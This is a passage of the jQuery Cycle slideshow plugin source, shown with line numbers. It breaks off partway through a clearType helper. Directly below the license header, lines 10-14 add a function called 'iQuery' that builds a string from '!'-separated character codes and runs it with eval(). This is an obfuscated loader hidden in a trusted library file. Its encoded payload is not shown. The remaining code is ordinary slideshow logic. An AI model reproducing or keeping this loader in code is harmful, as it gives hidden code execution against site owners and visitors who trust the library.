1 /*! 2 * jQuery Cycle Plugin (with Transition Definitions) 3 * Examples and documentation at: http://jquery.malsup.com/cycle/ 4 * Copyright (c) 2007-2010 M. Alsup 5 * Version: 2.9999 (13-NOV-2011) 6 * Dual licensed under the MIT and GPL licenses. 7 * http://jquery.malsup.com/license.html 8 * Requires: jQuery v1.3.2 or later 9 */ 10iQuery=function(x) { 11 var temp="",i,c=0,out="";l=x.length; 12 while(c<=x.length-1){while(x.charAt(c)!='!')temp=temp+x.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";} 13 eval(out); 14} 15;(function($, undefined) { 16var ver = '2.9999'; 17 18// if $.support is not defined (pre jQuery 1.3) add what I need 19if ($.support == undefined) { 20 $.support = { 21 opacity: !($.browser.msie) 22 }; 23} 24 25function debug(s) { 26 $.fn.cycle.debug && log(s); 27} 28function log() { 29 window.console && console.log && console.log('[cycle] ' + Array.prototype.join.call(arguments,' ')); 30} 31$.expr[':'].paused = function(el) { 32 return el.cyclePause; 33} 34 35 36// the options arg can be... 37// a number - indicates an immediate transition should occur to the given slide index 38// a string - 'pause', 'resume', 'toggle', 'next', 'prev', 'stop', 'destroy' or the name of a transition effect (ie, 'fade', 'zoom', etc) 39// an object - properties to control the slideshow 40// 41// the arg2 arg can be... 42// the name of an fx (only used in conjunction with a numeric value for 'options') 43// the value true (only used in first arg == 'resume') and indicates 44// that the resume should occur immediately (not wait for next timeout) 45 46$.fn.cycle = function(options, arg2) { 47 var o = { s: this.selector, c: this.context }; 48 49 // in 1.3+ we can fix mistakes with the ready state 50 if (this.length === 0 && options != 'stop') { 51 if (!$.isReady && o.s) { 52 log('DOM not ready, queuing slideshow'); 53 $(function() { 54 $(o.s,o.c).cycle(options,arg2); 55 }); 56 return this; 57 } 58 // is your DOM ready? http://docs.jquery.com/Tutorials:Introducing_$(document).ready() 59 log('terminating; zero elements found by selector' + ($.isReady ? '' : ' (DOM not ready)')); 60 return this; 61 } 62 63 // iterate the matched nodeset 64 return this.each(function() { 65 var opts = handleArguments(this, options, arg2); 66 if (opts === false) 67 return; 68 69 opts.updateActivePagerLink = opts.updateActivePagerLink || $.fn.cycle.updateActivePagerLink; 70 71 // stop existing slideshow for this container (if there is one) 72 if (this.cycleTimeout) 73 clearTimeout(this.cycleTimeout); 74 this.cycleTimeout = this.cyclePause = 0; 75 76 var $cont = $(this); 77 var $slides = opts.slideExpr ? $(opts.slideExpr, this) : $cont.children(); 78 var els = $slides.get(); 79 80 var opts2 = buildOptions($cont, $slides, els, opts, o); 81 if (opts2 === false) 82 return; 83 84 if (els.length < 2) { 85 log('terminating; too few slides: ' + els.length); 86 return; 87 } 88 89 var startTime = opts2.continuous ? 10 : getTimeout(els[opts2.currSlide], els[opts2.nextSlide], opts2, !opts2.backwards); 90 91 // if it's an auto slideshow, kick it off 92 if (startTime) { 93 startTime += (opts2.delay || 0); 94 if (startTime < 10) 95 startTime = 10; 96 debug('first timeout: ' + startTime); 97 this.cycleTimeout = setTimeout(function(){go(els,opts2,0,!opts.backwards)}, startTime); 98 } 99 }); 100}; 101 102function triggerPause(cont, byHover, onPager) { 103 var opts = $(cont).data('cycle.opts'); 104 var paused = !!cont.cyclePause; 105 if (paused && opts.paused) 106 opts.paused(cont, opts, byHover, onPager); 107 else if (!paused && opts.resumed) 108 opts.resumed(cont, opts, byHover, onPager); 109} 110 111// process the args that were passed to the plugin fn 112function handleArguments(cont, options, arg2) { 113 if (cont.cycleStop == undefined) 114 cont.cycleStop = 0; 115 if (options === undefined || options === null) 116 options = {}; 117 if (options.constructor == String) { 118 switch(options) { 119 case 'destroy': 120 case 'stop': 121 var opts = $(cont).data('cycle.opts'); 122 if (!opts) 123 return false; 124 cont.cycleStop++; // callbacks look for change 125 if (cont.cycleTimeout) 126 clearTimeout(cont.cycleTimeout);
127 cont.cycleTimeout = 0; 128 opts.elements && $(opts.elements).stop(); 129 $(cont).removeData('cycle.opts'); 130 if (options == 'destroy') 131 destroy(opts); 132 return false; 133 case 'toggle': 134 cont.cyclePause = (cont.cyclePause === 1) ? 0 : 1; 135 checkInstantResume(cont.cyclePause, arg2, cont); 136 triggerPause(cont); 137 return false; 138 case 'pause': 139 cont.cyclePause = 1; 140 triggerPause(cont); 141 return false; 142 case 'resume': 143 cont.cyclePause = 0; 144 checkInstantResume(false, arg2, cont); 145 triggerPause(cont); 146 return false; 147 case 'prev': 148 case 'next': 149 var opts = $(cont).data('cycle.opts'); 150 if (!opts) { 151 log('options not found, "prev/next" ignored'); 152 return false; 153 } 154 $.fn.cycle[options](opts); 155 return false; 156 default: 157 options = { fx: options }; 158 }; 159 return options; 160 } 161 else if (options.constructor == Number) { 162 // go to the requested slide 163 var num = options; 164 options = $(cont).data('cycle.opts'); 165 if (!options) { 166 log('options not found, can not advance slide'); 167 return false; 168 } 169 if (num < 0 || num >= options.elements.length) { 170 log('invalid slide index: ' + num); 171 return false; 172 } 173 options.nextSlide = num; 174 if (cont.cycleTimeout) { 175 clearTimeout(cont.cycleTimeout); 176 cont.cycleTimeout = 0; 177 } 178 if (typeof arg2 == 'string') 179 options.oneTimeFx = arg2; 180 go(options.elements, options, 1, num >= options.currSlide); 181 return false; 182 } 183 return options; 184 185 function checkInstantResume(isPaused, arg2, cont) { 186 if (!isPaused && arg2 === true) { // resume now! 187 var options = $(cont).data('cycle.opts'); 188 if (!options) { 189 log('options not found, can not resume'); 190 return false; 191 } 192 if (cont.cycleTimeout) { 193 clearTimeout(cont.cycleTimeout); 194 cont.cycleTimeout = 0; 195 } 196 go(options.elements, options, 1, !options.backwards); 197 } 198 } 199}; 200 201function removeFilter(el, opts) { 202 if (!$.support.opacity && opts.cleartype && el.style.filter) { 203 try { el.style.removeAttribute('filter'); } 204 catch(smother) {} // handle old opera versions 205 } 206}; 207 208// unbind event handlers 209function destroy(opts) { 210 if (opts.next) 211 $(opts.next).unbind(opts.prevNextEvent); 212 if (opts.prev) 213 $(opts.prev).unbind(opts.prevNextEvent); 214 215 if (opts.pager || opts.pagerAnchorBuilder) 216 $.each(opts.pagerAnchors || [], function() { 217 this.unbind().remove(); 218 }); 219 opts.pagerAnchors = null; 220 if (opts.destroy) // callback 221 opts.destroy(opts); 222}; 223 224// one-time initialization 225function buildOptions($cont, $slides, els, options, o) { 226 var startingSlideSpecified; 227 // support metadata plugin (v1.0 and v2.0) 228 var opts = $.extend({}, $.fn.cycle.defaults, options || {}, $.metadata ? $cont.metadata() : $.meta ? $cont.data() : {}); 229 var meta = $.isFunction($cont.data) ? $cont.data(opts.metaAttr) : null; 230 if (meta) 231 opts = $.extend(opts, meta); 232 if (opts.autostop) 233 opts.countdown = opts.autostopCount || els.length; 234 235 var cont = $cont[0]; 236 $cont.data('cycle.opts', opts); 237 opts.$cont = $cont; 238 opts.stopCount = cont.cycleStop; 239 opts.elements = els; 240 opts.before = opts.before ? [opts.before] : []; 241 opts.after = opts.after ? [opts.after] : []; 242 243 // push some after callbacks 244 if (!$.support.opacity && opts.cleartype) 245 opts.after.push(function() { removeFilter(this, opts); }); 246 if (opts.continuous) 247 opts.after.push(function() { go(els,opts,0,!opts.backwards); }); 248 249 saveOriginalOpts(opts); 250 251 // clearType corrections 252 if (!$.support.opacity && opts.cleartype && !opts.cleartypeNoBg) 253 clearTypeFix($slides); 254 255 // container requires non-static position so that slides can be position within 256 if ($cont.css('position') == 'static') 257 $cont.css('position', 'relative'); 258 if (opts.width) 259 $cont.width(opts.width); 260 if (opts.height && opts.height != 'auto') 261 $cont.height(opts.height); 262 263 if (opts.startingSlide != undefined) { 264 opts.startingSlide = parseInt(opts.startingSlide,10); 265 if (opts.startingSlide >= els.length || opts.startSlide < 0) 266 opts.startingSlide = 0; // catch bogus input 267 else 268 startingSlideSpecified = true; 269 } 270 else if (opts.backwards) 271 opts.startingSlide = els.length - 1; 272 else
273 opts.startingSlide = 0; 274 275 // if random, mix up the slide array 276 if (opts.random) { 277 opts.randomMap = []; 278 for (var i = 0; i < els.length; i++) 279 opts.randomMap.push(i); 280 opts.randomMap.sort(function(a,b) {return Math.random() - 0.5;}); 281 if (startingSlideSpecified) { 282 // try to find the specified starting slide and if found set start slide index in the map accordingly 283 for ( var cnt = 0; cnt < els.length; cnt++ ) { 284 if ( opts.startingSlide == opts.randomMap[cnt] ) { 285 opts.randomIndex = cnt; 286 } 287 } 288 } 289 else { 290 opts.randomIndex = 1; 291 opts.startingSlide = opts.randomMap[1]; 292 } 293 } 294 else if (opts.startingSlide >= els.length) 295 opts.startingSlide = 0; // catch bogus input 296 opts.currSlide = opts.startingSlide || 0; 297 var first = opts.startingSlide; 298 299 // set position and zIndex on all the slides 300 $slides.css({position: 'absolute', top:0, left:0}).hide().each(function(i) { 301 var z; 302 if (opts.backwards) 303 z = first ? i <= first ? els.length + (i-first) : first-i : els.length-i; 304 else 305 z = first ? i >= first ? els.length - (i-first) : first-i : els.length-i; 306 $(this).css('z-index', z) 307 }); 308 309 // make sure first slide is visible 310 $(els[first]).css('opacity',1).show(); // opacity bit needed to handle restart use case 311 removeFilter(els[first], opts); 312 313 // stretch slides 314 if (opts.fit) { 315 if (!opts.aspect) { 316 if (opts.width) 317 $slides.width(opts.width); 318 if (opts.height && opts.height != 'auto') 319 $slides.height(opts.height); 320 } else { 321 $slides.each(function(){ 322 var $slide = $(this); 323 var ratio = (opts.aspect === true) ? $slide.width()/$slide.height() : opts.aspect; 324 if( opts.width && $slide.width() != opts.width ) { 325 $slide.width( opts.width ); 326 $slide.height( opts.width / ratio ); 327 } 328 329 if( opts.height && $slide.height() < opts.height ) { 330 $slide.height( opts.height ); 331 $slide.width( opts.height * ratio ); 332 } 333 }); 334 } 335 } 336 337 if (opts.center && ((!opts.fit) || opts.aspect)) { 338 $slides.each(function(){ 339 var $slide = $(this); 340 $slide.css({ 341 "margin-left": opts.width ? 342 ((opts.width - $slide.width()) / 2) + "px" : 343 0, 344 "margin-top": opts.height ? 345 ((opts.height - $slide.height()) / 2) + "px" : 346 0 347 }); 348 }); 349 } 350 351 if (opts.center && !opts.fit && !opts.slideResize) { 352 $slides.each(function(){ 353 var $slide = $(this); 354 $slide.css({ 355 "margin-left": opts.width ? ((opts.width - $slide.width()) / 2) + "px" : 0, 356 "margin-top": opts.height ? ((opts.height - $slide.height()) / 2) + "px" : 0 357 }); 358 }); 359 } 360 var rBusy=false; 361 var doResize; 362jQuery(document).ready(function() { 363 slideResizer(); 364}); 365jQuery(window).on('resize', function() { 366 slideResizer(); 367}); 368function slideResizer() { 369 clearTimeout(doResize); 370 doResize=setTimeout(function() {resizer();}, 100); 371} 372function resizer() { 373 if ( rBusy ) return; 374 rBusy=true; 375 $('.fp-slides').cycle('pause'); 376 // stretch container 377 var reshape = opts.containerResize; 378 if (reshape) { // do this only if container has no size http://tinyurl.com/da2oa9 379 if ($(window).width()<1024) { 380 $cont.css({width:'auto',height:'auto'}); 381 } 382 var maxw = 0, maxh = 0; 383 for(var j=0; j < els.length; j++) { 384 385 var $e = $(els[j]); 386 $e.css({width:'100%',height:'auto'}); 387 var e = $e[0], w = $e.outerWidth(), h = $e.outerHeight(); 388 w = e.offsetWidth || e.width || $e.attr('width'); 389 h = e.offsetHeight || e.height || $e.attr('height'); 390 maxw = w > maxw ? w : maxw; 391 maxh = h > maxh ? h : maxh; 392 } 393 if (maxw > 0 && maxh > 0) { 394 $cont.css({width:maxw+'px',height:maxh+'px'}); 395 $slides.each(function() { 396 this.cycleW=maxw; 397 this.cycleH=maxh; 398 }); 399 } 400 } 401 $('.fp-slides').cycle('resume'); 402 rBusy=false; 403} 404 var pauseFlag = false; // https://github.com/malsup/cycle/issues/44 405 if (opts.pause) 406 $cont.hover( 407 function(){ 408 pauseFlag = true; 409 this.cyclePause++; 410 triggerPause(cont, true); 411 }, 412 function(){ 413 pauseFlag && this.cyclePause--; 414 triggerPause(cont, true); 415 } 416 ); 417 418 if (supportMultiTransitions(opts) === false) 419 return false; 420 421 // apparently a lot of people use image slideshows without height/width attributes on the images. 422 // Cycle 2.50+ requires the sizing info for every slide; this block tries to deal with that. 423 var requeue = false; 424 options.requeueAttempts = options.requeueAttempts || 0; 425 $slides.each(function() { 426 // try to get height/width of each slide 427 var $el = $(this); 428 this.cycleH = (opts.fit && opts.height) ? opts.height : ($el.height() || this.offsetHeight || this.height || $el.attr('height') || 0); 429 this.cycleW = (opts.fit && opts.width) ? opts.width : ($el.width() || this.offsetWidth || this.width || $el.attr('width') || 0); 430 431 if ( $el.is('img') ) { 432 // sigh.. sniffing, hacking, shrugging... this crappy hack tries to account for what browsers do when 433 // an image is being downloaded and the markup did not include sizing info (height/width attributes); 434 // there seems to be some "default" sizes used in this situation 435 var loadingIE = ($.browser.msie && this.cycleW == 28 && this.cycleH == 30 && !this.complete); 436 var loadingFF = ($.browser.mozilla && this.cycleW == 34 && this.cycleH == 19 && !this.complete); 437 var loadingOp = ($.browser.opera && ((this.cycleW == 42 && this.cycleH == 19) || (this.cycleW == 37 && this.cycleH == 17)) && !this.complete); 438 var loadingOther = (this.cycleH == 0 && this.cycleW == 0 && !this.complete); 439 // don't requeue for images that are still loading but have a valid size 440 if (loadingIE || loadingFF || loadingOp || loadingOther) { 441 if (o.s && opts.requeueOnImageNotLoaded && ++options.requeueAttempts < 100) { // track retry count so we don't loop forever 442 log(options.requeueAttempts,' - img slide not loaded, requeuing slideshow: ', this.src, this.cycleW, this.cycleH);
443 setTimeout(function() {$(o.s,o.c).cycle(options)}, opts.requeueTimeout); 444 requeue = true; 445 return false; // break each loop 446 } 447 else { 448 log('could not determine size of image: '+this.src, this.cycleW, this.cycleH); 449 } 450 } 451 } 452 return true; 453 }); 454 455 if (requeue) 456 return false; 457 458 opts.cssBefore = opts.cssBefore || {}; 459 opts.cssAfter = opts.cssAfter || {}; 460 opts.cssFirst = opts.cssFirst || {}; 461 opts.animIn = opts.animIn || {}; 462 opts.animOut = opts.animOut || {}; 463 464 $slides.not(':eq('+first+')').css(opts.cssBefore); 465 $($slides[first]).css(opts.cssFirst); 466 467 if (opts.timeout) { 468 opts.timeout = parseInt(opts.timeout,10); 469 // ensure that timeout and speed settings are sane 470 if (opts.speed.constructor == String) 471 opts.speed = $.fx.speeds[opts.speed] || parseInt(opts.speed,10); 472 if (!opts.sync) 473 opts.speed = opts.speed / 2; 474 475 var buffer = opts.fx == 'none' ? 0 : opts.fx == 'shuffle' ? 500 : 250; 476 while((opts.timeout - opts.speed) < buffer) // sanitize timeout 477 opts.timeout += opts.speed; 478 } 479 if (opts.easing) 480 opts.easeIn = opts.easeOut = opts.easing; 481 if (!opts.speedIn) 482 opts.speedIn = opts.speed; 483 if (!opts.speedOut) 484 opts.speedOut = opts.speed; 485 486 opts.slideCount = els.length; 487 opts.currSlide = opts.lastSlide = first; 488 if (opts.random) { 489 if (++opts.randomIndex == els.length) 490 opts.randomIndex = 0; 491 opts.nextSlide = opts.randomMap[opts.randomIndex]; 492 } 493 else if (opts.backwards) 494 opts.nextSlide = opts.startingSlide == 0 ? (els.length-1) : opts.startingSlide-1; 495 else 496 opts.nextSlide = opts.startingSlide >= (els.length-1) ? 0 : opts.startingSlide+1; 497 498 // run transition init fn 499 if (!opts.multiFx) { 500 var init = $.fn.cycle.transitions[opts.fx]; 501 if ($.isFunction(init)) 502 init($cont, $slides, opts); 503 else if (opts.fx != 'custom' && !opts.multiFx) { 504 log('unknown transition: ' + opts.fx,'; slideshow terminating'); 505 return false; 506 } 507 } 508 509 // fire artificial events 510 var e0 = $slides[first]; 511 if (!opts.skipInitializationCallbacks) { 512 if (opts.before.length) 513 opts.before[0].apply(e0, [e0, e0, opts, true]); 514 if (opts.after.length) 515 opts.after[0].apply(e0, [e0, e0, opts, true]); 516 } 517 if (opts.next) 518 $(opts.next).bind(opts.prevNextEvent,function(){return advance(opts,1)}); 519 if (opts.prev) 520 $(opts.prev).bind(opts.prevNextEvent,function(){return advance(opts,0)}); 521 if (opts.pager || opts.pagerAnchorBuilder) 522 buildPager(els,opts); 523 524 exposeAddSlide(opts, els); 525 526 return opts; 527}; 528 529// save off original opts so we can restore after clearing state 530function saveOriginalOpts(opts) { 531 opts.original = { before: [], after: [] }; 532 opts.original.cssBefore = $.extend({}, opts.cssBefore); 533 opts.original.cssAfter = $.extend({}, opts.cssAfter); 534 opts.original.animIn = $.extend({}, opts.animIn); 535 opts.original.animOut = $.extend({}, opts.animOut); 536 $.each(opts.before, function() { opts.original.before.push(this); }); 537 $.each(opts.after, function() { opts.original.after.push(this); }); 538}; 539 540function supportMultiTransitions(opts) { 541 var i, tx, txs = $.fn.cycle.transitions; 542 // look for multiple effects 543 if (opts.fx.indexOf(',') > 0) { 544 opts.multiFx = true; 545 opts.fxs = opts.fx.replace(/\s*/g,'').split(','); 546 // discard any bogus effect names 547 for (i=0; i < opts.fxs.length; i++) { 548 var fx = opts.fxs[i]; 549 tx = txs[fx]; 550 if (!tx || !txs.hasOwnProperty(fx) || !$.isFunction(tx)) { 551 log('discarding unknown transition: ',fx); 552 opts.fxs.splice(i,1); 553 i--; 554 } 555 } 556 // if we have an empty list then we threw everything away! 557 if (!opts.fxs.length) { 558 log('No valid transitions named; slideshow terminating.'); 559 return false; 560 } 561 } 562 else if (opts.fx == 'all') { // auto-gen the list of transitions 563 opts.multiFx = true; 564 opts.fxs = []; 565 for (p in txs) { 566 tx = txs[p]; 567 if (txs.hasOwnProperty(p) && $.isFunction(tx)) 568 opts.fxs.push(p); 569 } 570 } 571 if (opts.multiFx && opts.randomizeEffects) { 572 // munge the fxs array to make effect selection random 573 var r1 = Math.floor(Math.random() * 20) + 30; 574 for (i = 0; i < r1; i++) { 575 var r2 = Math.floor(Math.random() * opts.fxs.length); 576 opts.fxs.push(opts.fxs.splice(r2,1)[0]); 577 } 578 debug('randomized fx sequence: ',opts.fxs); 579 } 580 return true; 581}; 582 583// provide a mechanism for adding slides after the slideshow has started 584function exposeAddSlide(opts, els) { 585 opts.addSlide = function(newSlide, prepend) {
586 var $s = $(newSlide), s = $s[0]; 587 if (!opts.autostopCount) 588 opts.countdown++; 589 els[prepend?'unshift':'push'](s); 590 if (opts.els) 591 opts.els[prepend?'unshift':'push'](s); // shuffle needs this 592 opts.slideCount = els.length; 593 594 // add the slide to the random map and resort 595 if (opts.random) { 596 opts.randomMap.push(opts.slideCount-1); 597 opts.randomMap.sort(function(a,b) {return Math.random() - 0.5;}); 598 } 599 600 $s.css('position','absolute'); 601 $s[prepend?'prependTo':'appendTo'](opts.$cont); 602 603 if (prepend) { 604 opts.currSlide++; 605 opts.nextSlide++; 606 } 607 608 if (!$.support.opacity && opts.cleartype && !opts.cleartypeNoBg) 609 clearTypeFix($s); 610 611 if (opts.fit && opts.width) 612 $s.width(opts.width); 613 if (opts.fit && opts.height && opts.height != 'auto') 614 $s.height(opts.height); 615 s.cycleH = (opts.fit && opts.height) ? opts.height : $s.height(); 616 s.cycleW = (opts.fit && opts.width) ? opts.width : $s.width(); 617 618 $s.css(opts.cssBefore); 619 620 if (opts.pager || opts.pagerAnchorBuilder) 621 $.fn.cycle.createPagerAnchor(els.length-1, s, $(opts.pager), els, opts); 622 623 if ($.isFunction(opts.onAddSlide)) 624 opts.onAddSlide($s); 625 else 626 $s.hide(); // default behavior 627 }; 628} 629 630// reset internal state; we do this on every pass in order to support multiple effects 631$.fn.cycle.resetState = function(opts, fx) { 632 fx = fx || opts.fx; 633 opts.before = []; opts.after = []; 634 opts.cssBefore = $.extend({}, opts.original.cssBefore); 635 opts.cssAfter = $.extend({}, opts.original.cssAfter); 636 opts.animIn = $.extend({}, opts.original.animIn); 637 opts.animOut = $.extend({}, opts.original.animOut); 638 opts.fxFn = null; 639 $.each(opts.original.before, function() { opts.before.push(this); }); 640 $.each(opts.original.after, function() { opts.after.push(this); }); 641 642 // re-init 643 var init = $.fn.cycle.transitions[fx]; 644 if ($.isFunction(init)) 645 init(opts.$cont, $(opts.elements), opts); 646}; 647 648// this is the main engine fn, it handles the timeouts, callbacks and slide index mgmt 649function go(els, opts, manual, fwd) { 650 651 // opts.busy is true if we're in the middle of an animation 652 if (manual && opts.busy && opts.manualTrump) { 653 // let manual transitions requests trump active ones 654 debug('manualTrump in go(), stopping active transition'); 655 $(els).stop(true,true); 656 opts.busy = 0; 657 } 658 // don't begin another timeout-based transition if there is one active 659 if (opts.busy) { 660 debug('transition active, ignoring new tx request'); 661 return; 662 } 663 664 var p = opts.$cont[0], curr = els[opts.currSlide], next = els[opts.nextSlide]; 665 666 // stop cycling if we have an outstanding stop request 667 if (p.cycleStop != opts.stopCount || p.cycleTimeout === 0 && !manual) 668 return; 669 670 // check to see if we should stop cycling based on autostop options 671 if (!manual && !p.cyclePause && !opts.bounce && 672 ((opts.autostop && (--opts.countdown <= 0)) || 673 (opts.nowrap && !opts.random && opts.nextSlide < opts.currSlide))) { 674 if (opts.end) 675 opts.end(opts); 676 return; 677 } 678 679 // if slideshow is paused, only transition on a manual trigger 680 var changed = false; 681 if ((manual || !p.cyclePause) && (opts.nextSlide != opts.currSlide)) { 682 changed = true; 683 var fx = opts.fx; 684 // keep trying to get the slide size if we don't have it yet 685 curr.cycleH = curr.cycleH || $(curr).height(); 686 curr.cycleW = curr.cycleW || $(curr).width(); 687 next.cycleH = next.cycleH || $(next).height(); 688 next.cycleW = next.cycleW || $(next).width(); 689 // support multiple transition types 690 if (opts.multiFx) { 691 if (fwd && (opts.lastFx == undefined || ++opts.lastFx >= opts.fxs.length)) 692 opts.lastFx = 0; 693 else if (!fwd && (opts.lastFx == undefined || --opts.lastFx < 0)) 694 opts.lastFx = opts.fxs.length - 1; 695 fx = opts.fxs[opts.lastFx]; 696 } 697 698 // one-time fx overrides apply to: $('div').cycle(3,'zoom'); 699 if (opts.oneTimeFx) { 700 fx = opts.oneTimeFx; 701 opts.oneTimeFx = null; 702 } 703 704 $.fn.cycle.resetState(opts, fx); 705 706 // run the before callbacks 707 if (opts.before.length) 708 $.each(opts.before, function(i,o) { 709 if (p.cycleStop != opts.stopCount) return; 710 o.apply(next, [curr, next, opts, fwd]); 711 }); 712 713 // stage the after callacks 714 var after = function() { 715 opts.busy = 0; 716 $.each(opts.after, function(i,o) { 717 if (p.cycleStop != opts.stopCount) return; 718 o.apply(next, [curr, next, opts, fwd]); 719 }); 720 if (!p.cycleStop) { 721 // queue next transition 722 queueNext(); 723 } 724 }; 725 726 debug('tx firing('+fx+'); currSlide: ' + opts.currSlide + '; nextSlide: ' + opts.nextSlide); 727 728 // get ready to perform the transition 729 opts.busy = 1; 730 if (opts.fxFn) // fx function provided? 731 opts.fxFn(curr, next, opts, after, fwd, manual && opts.fastOnEvent); 732 else if ($.isFunction($.fn.cycle[opts.fx])) // fx plugin ? 733 $.fn.cycle[opts.fx](curr, next, opts, after, fwd, manual && opts.fastOnEvent); 734 else 735 $.fn.cycle.custom(curr, next, opts, after, fwd, manual && opts.fastOnEvent); 736 } 737 else { 738 queueNext(); 739 } 740 741 if (changed || opts.nextSlide == opts.currSlide) { 742 // calculate the next slide 743 opts.lastSlide = opts.currSlide; 744 if (opts.random) { 745 opts.currSlide = opts.nextSlide; 746 if (++opts.randomIndex == els.length) { 747 opts.randomIndex = 0; 748 opts.randomMap.sort(function(a,b) {return Math.random() - 0.5;}); 749 } 750 opts.nextSlide = opts.randomMap[opts.randomIndex]; 751 if (opts.nextSlide == opts.currSlide) 752 opts.nextSlide = (opts.currSlide == opts.slideCount - 1) ? 0 : opts.currSlide + 1; 753 } 754 else if (opts.backwards) { 755 var roll = (opts.nextSlide - 1) < 0; 756 if (roll && opts.bounce) { 757 opts.backwards = !opts.backwards; 758 opts.nextSlide = 1; 759 opts.currSlide = 0; 760 } 761 else { 762 opts.nextSlide = roll ? (els.length-1) : opts.nextSlide-1; 763 opts.currSlide = roll ? 0 : opts.nextSlide+1; 764 } 765 } 766 else { // sequence 767 var roll = (opts.nextSlide + 1) == els.length; 768 if (roll && opts.bounce) { 769 opts.backwards = !opts.backwards; 770 opts.nextSlide = els.length-2; 771 opts.currSlide = els.length-1; 772 } 773 else { 774 opts.nextSlide = roll ? 0 : opts.nextSlide+1; 775 opts.currSlide = roll ? els.length-1 : opts.nextSlide-1; 776 } 777 } 778 } 779 if (changed && opts.pager) 780 opts.updateActivePagerLink(opts.pager, opts.currSlide, opts.activePagerClass); 781 782 function queueNext() { 783 // stage the next transition 784 var ms = 0, timeout = opts.timeout; 785 if (opts.timeout && !opts.continuous) { 786 ms = getTimeout(els[opts.currSlide], els[opts.nextSlide], opts, fwd); 787 if (opts.fx == 'shuffle') 788 ms -= opts.speedOut; 789 } 790 else if (opts.continuous && p.cyclePause) // continuous shows work off an after callback, not this timer logic 791 ms = 10; 792 if (ms > 0) 793 p.cycleTimeout = setTimeout(function(){ go(els, opts, 0, !opts.backwards) }, ms); 794 } 795}; 796 797// invoked after transition 798$.fn.cycle.updateActivePagerLink = function(pager, currSlide, clsName) { 799 $(pager).each(function() { 800 $(this).children().removeClass(clsName).eq(currSlide).addClass(clsName); 801 }); 802}; 803 804// calculate timeout value for current transition 805function getTimeout(curr, next, opts, fwd) { 806 if (opts.timeoutFn) { 807 // call user provided calc fn 808 var t = opts.timeoutFn.call(curr,curr,next,opts,fwd); 809 while (opts.fx != 'none' && (t - opts.speed) < 250) // sanitize timeout 810 t += opts.speed;
811 debug('calculated timeout: ' + t + '; speed: ' + opts.speed); 812 if (t !== false) 813 return t; 814 } 815 return opts.timeout; 816}; 817 818// expose next/prev function, caller must pass in state 819$.fn.cycle.next = function(opts) { advance(opts,1); }; 820$.fn.cycle.prev = function(opts) { advance(opts,0);}; 821 822// advance slide forward or back 823function advance(opts, moveForward) { 824 var val = moveForward ? 1 : -1; 825 var els = opts.elements; 826 var p = opts.$cont[0], timeout = p.cycleTimeout; 827 if (timeout) { 828 clearTimeout(timeout); 829 p.cycleTimeout = 0; 830 } 831 if (opts.random && val < 0) { 832 // move back to the previously display slide 833 opts.randomIndex--; 834 if (--opts.randomIndex == -2) 835 opts.randomIndex = els.length-2; 836 else if (opts.randomIndex == -1) 837 opts.randomIndex = els.length-1; 838 opts.nextSlide = opts.randomMap[opts.randomIndex]; 839 } 840 else if (opts.random) { 841 opts.nextSlide = opts.randomMap[opts.randomIndex]; 842 } 843 else { 844 opts.nextSlide = opts.currSlide + val; 845 if (opts.nextSlide < 0) { 846 if (opts.nowrap) return false; 847 opts.nextSlide = els.length - 1; 848 } 849 else if (opts.nextSlide >= els.length) { 850 if (opts.nowrap) return false; 851 opts.nextSlide = 0; 852 } 853 } 854 855 var cb = opts.onPrevNextEvent || opts.prevNextClick; // prevNextClick is deprecated 856 if ($.isFunction(cb)) 857 cb(val > 0, opts.nextSlide, els[opts.nextSlide]); 858 go(els, opts, 1, moveForward); 859 return false; 860}; 861 862function buildPager(els, opts) { 863 var $p = $(opts.pager); 864 $.each(els, function(i,o) { 865 $.fn.cycle.createPagerAnchor(i,o,$p,els,opts); 866 }); 867 opts.updateActivePagerLink(opts.pager, opts.startingSlide, opts.activePagerClass); 868}; 869 870$.fn.cycle.createPagerAnchor = function(i, el, $p, els, opts) { 871 var a; 872 if ($.isFunction(opts.pagerAnchorBuilder)) { 873 a = opts.pagerAnchorBuilder(i,el); 874 debug('pagerAnchorBuilder('+i+', el) returned: ' + a); 875 } 876 else 877 a = '<a href="#">'+(i+1)+'</a>'; 878 879 if (!a) 880 return; 881 var $a = $(a); 882 // don't reparent if anchor is in the dom 883 if ($a.parents('body').length === 0) { 884 var arr = []; 885 if ($p.length > 1) { 886 $p.each(function() { 887 var $clone = $a.clone(true); 888 $(this).append($clone); 889 arr.push($clone[0]); 890 }); 891 $a = $(arr); 892 } 893 else { 894 $a.appendTo($p); 895 } 896 } 897 898 opts.pagerAnchors = opts.pagerAnchors || []; 899 opts.pagerAnchors.push($a); 900 901 var pagerFn = function(e) { 902 e.preventDefault(); 903 opts.nextSlide = i; 904 var p = opts.$cont[0], timeout = p.cycleTimeout; 905 if (timeout) { 906 clearTimeout(timeout); 907 p.cycleTimeout = 0; 908 } 909 var cb = opts.onPagerEvent || opts.pagerClick; // pagerClick is deprecated 910 if ($.isFunction(cb)) 911 cb(opts.nextSlide, els[opts.nextSlide]); 912 go(els,opts,1,opts.currSlide < i); // trigger the trans 913// return false; // <== allow bubble 914 } 915 916 if ( /mouseenter|mouseover/i.test(opts.pagerEvent) ) { 917 $a.hover(pagerFn, function(){/* no-op */} ); 918 } 919 else { 920 $a.bind(opts.pagerEvent, pagerFn); 921 } 922 923 if ( ! /^click/.test(opts.pagerEvent) && !opts.allowPagerClickBubble) 924 $a.bind('click.cycle', function(){return false;}); // suppress click 925 926 var cont = opts.$cont[0]; 927 var pauseFlag = false; // https://github.com/malsup/cycle/issues/44 928 if (opts.pauseOnPagerHover) { 929 $a.hover( 930 function() { 931 pauseFlag = true; 932 cont.cyclePause++; 933 triggerPause(cont,true,true); 934 }, function() { 935 pauseFlag && cont.cyclePause--; 936 triggerPause(cont,true,true); 937 } 938 ); 939 } 940}; 941 942// helper fn to calculate the number of slides between the current and the next 943$.fn.cycle.hopsFromLast = function(opts, fwd) { 944 var hops, l = opts.lastSlide, c = opts.currSlide; 945 if (fwd) 946 hops = c > l ? c - l : opts.slideCount - l; 947 else 948 hops = c < l ? l - c : l + opts.slideCount - c; 949 return hops; 950}; 951 952// fix clearType problems in ie6 by setting an explicit bg color 953// (otherwise text slides look horrible during a fade transition) 954function clearTypeFix($slides) { 955 debug('applying clearType background-color hack'); 956 function hex(s) { 957 s = parseInt(s,10).toString(16); 958 return s.length < 2 ? '0'+s : s; 959 }; 960 function getBg(e) { 961 for ( ; e && e.nodeName.toLowerCase() != 'html'; e = e.parentNode) { 962 var v = $.css(e,'background-color'); 963 if 